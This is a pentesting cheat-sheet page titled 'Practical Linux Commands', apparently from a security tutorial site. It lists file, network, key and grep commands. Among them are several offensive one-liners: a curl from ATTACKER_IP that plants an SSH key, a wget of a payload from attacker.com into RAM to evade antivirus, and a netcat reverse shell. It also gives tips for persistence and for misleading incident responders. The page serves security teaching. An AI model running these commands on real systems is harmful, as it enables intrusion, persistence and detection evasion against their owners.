๐Ÿ•ต๏ธ
VeryLazyTech
๐Ÿ“œ Medium๐Ÿ›’ My Shop๐Ÿ‘พ Github๐Ÿ“ฉ Telegram ๐Ÿ“บ YouTubeโœ– Twitter
  • ๐Ÿ•ต๏ธWelcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • ๐Ÿ‘พ GitHub
      • ๐Ÿ“œ Medium
      • โ˜• My Shop
      • ๐Ÿ“บ YouTube
      • โœ– Twitter
      • ๐Ÿ“ฉ Telegram
  • ๐Ÿ›ก๏ธ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024โ€“4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024โ€“10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POCโ€Š-โ€ŠCVE-2025โ€“2539 File Away <= 3.9.9.0.1โ€Š-โ€ŠMissing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • ๐Ÿ•ต๏ธโ€โ™‚๏ธDorks
    • GitHub Dorks
    • Google Dork Online Tool
  • ๐Ÿ“š Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • ๐Ÿ•ธ๏ธPentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Serverโ€™s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • ๐ŸงLinux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • ๐ŸชŸWindows
    • Active Directory Methodology
  • ๐ŸŒNetwork Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • ๐Ÿ˜ŽPost-exploitation
    • File Transfer Cheatsheet: Windows andย Linux
  • ๐Ÿง‘โ€๐Ÿ”งTechnical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • File Manipulation Commands
  • Networking and Communication Commands
  • System Monitoring & Process Management
  • Encryption and Key Management
  • Privilege Escalation Tools
  • Exploitation Utilities
  • Advanced Grep for Data Extraction
  • Miscellaneous Commands

Was this helpful?

  1. Linux

Practical Linux Commands

PreviousContent Security Policy (CSP) bypassNextBypassing Bash Restrictions - Rbash

Last updated 11 days ago

Was this helpful?

  • Become VeryLazyTech ! ๐ŸŽ

  • Follow us on:

    • โœ– Twitter .

    • ๐Ÿ‘พ Github .

    • ๐Ÿ“œ Medium .

    • ๐Ÿ“บ YouTube .

    • ๐Ÿ“ฉ Telegram .

    • ๐Ÿ•ต๏ธโ€โ™‚๏ธ My Site .

  • Visit our for e-books and courses. ๐Ÿ“š

In penetration testing, Linux commands can be incredibly powerful when used efficiently. The following guide provides practical Linux commands for pentesters, explaining what each command does and how it can help during an engagement. These commands cover file manipulation, networking, process monitoring, and more.

File Manipulation Commands

  1. Base64 Encoding for Exfiltration

    base64 -w 0 file

    Encodes a file to Base64 without line breaks. Useful for encoding data in a way that can be sent via HTTP or other text-based protocols.

  2. Hex Dump Without New Lines

    xxd -p boot12.bin | tr -d '\n'

    Converts a binary file into a plain hex format. Removing new lines makes the output easier to manipulate, which is helpful for crafting payloads.

  3. Public Key Injection

    curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

    Adds an attacker's public key to the target machineโ€™s authorized SSH keys. This gives the attacker remote access via SSH.

  4. Count Lines in a File

    wc -l <file>

    Counts the number of lines in a file, useful for verifying the amount of output or checking logs.

  5. Sort and Remove Duplicates

    sort file | uniq

    Sorts a file and removes duplicate lines. This is helpful when processing log files and identifying unique entries.

  6. Find Files Modified Within a Date Range

    find / -newermt 2023-08-01 ! -newermt 2023-08-05 -type f

    Finds files modified between specific dates, aiding in identifying files that may have been tampered with during an attack.


Networking and Communication Commands

  1. Set Up an HTTP Server (Quick File Serving)

    python3 -m http.server 80

    Creates an HTTP server to share files with the target machine. This is useful for serving payloads or retrieving data.

  2. Curl for Sending JSON Data

    curl --header "Content-Type: application/json" --request POST --data '{"username":"admin","password":"password"}' http://target/endpoint

    Sends JSON data to a web application, ideal for testing API endpoints or mimicking application behavior.

  3. SSH Key Scanning

    ssh-keyscan 10.10.10.101

    Retrieves the SSH key fingerprint from a remote machine. It helps in identifying duplicate SSH hosts, reducing security blind spots.


System Monitoring & Process Management

  1. List Open Files of Network Processes

    lsof -i

    Lists open files related to network processes. This is particularly useful to identify suspicious connections or find the process behind an open port.

  2. Process Monitoring with ps

    ps aux | grep apache

    Shows all processes and filters them by name (in this case, apache). This command helps you discover running services on the system.

  3. Finding Network Connections

    netstat -an | grep ESTABLISHED

    Displays established network connections. Essential for spotting backdoors or open connections to attacker-controlled servers.


Encryption and Key Management

  1. Generate RSA Key

    openssl genrsa -out attacker.key 2048

    Creates an RSA key, which can be used for encrypted communication, establishing secure connections, or signing data.

  2. Decrypt SSH Key

    openssl rsa -in key.ssh.enc -out key.ssh

    Decrypts an encrypted SSH private key. Useful when handling compromised SSH keys that are password protected.

  3. Create a Signed Certificate

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

    Creates a self-signed certificate, which can be used to mimic HTTPS servers for man-in-the-middle (MITM) attacks or phishing.


Privilege Escalation Tools

  1. Set Immutable Bit on a File

    sudo chattr +i /path/to/file

    Prevents modification or deletion of a file. Setting this flag can be a persistence technique to maintain unauthorized changes.

  2. Find SUID Binaries

    find / -perm -4000 2>/dev/null

    Finds all files with the SUID bit set. SUID binaries are a common target for privilege escalation attacks, making this a valuable command during enumeration.


Exploitation Utilities

  1. Download to RAM to Evade Detection

    wget http://attacker.com/payload.py -O /dev/shm/payload.py

    Downloads a file directly into the systemโ€™s RAM, making it less detectable by antivirus and other security software.

  2. Running a Reverse Shell with Netcat

    nc -e /bin/bash 10.10.10.10 4444

    Establishes a reverse shell from the target to the attacker's machine. This command is a cornerstone for remote code execution exploits.


Advanced Grep for Data Extraction

  1. Extract Emails

    grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt

    Extracts email addresses from files. Useful when searching for credentials or contacts during an attack.

  2. Extract Passwords

    grep -i "pwd\|pass\|password" file.txt

    Looks for potential password patterns in a file, an essential command for data discovery during internal network penetration tests.

  3. Extract IP Addresses

    grep -E -o "([0-9]{1,3}\.){3}[0-9]{1,3}" file.txt

    Finds all IP addresses inside a file, helpful for network mapping and identifying potential targets.


Miscellaneous Commands

  1. Change Timezone

    sudo dpkg-reconfigure tzdata

    Allows the attacker to change the systemโ€™s timezone. Useful for modifying timestamps during an attack to mislead incident responders.

  2. Mount Virtual Hard Drives

    guestmount --add NAME.vhd --inspector --ro /mnt/vhd

    Mounts a VHD file for investigation or exploitation. This can help access virtual machines' data without fully booting them.

๐Ÿง
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop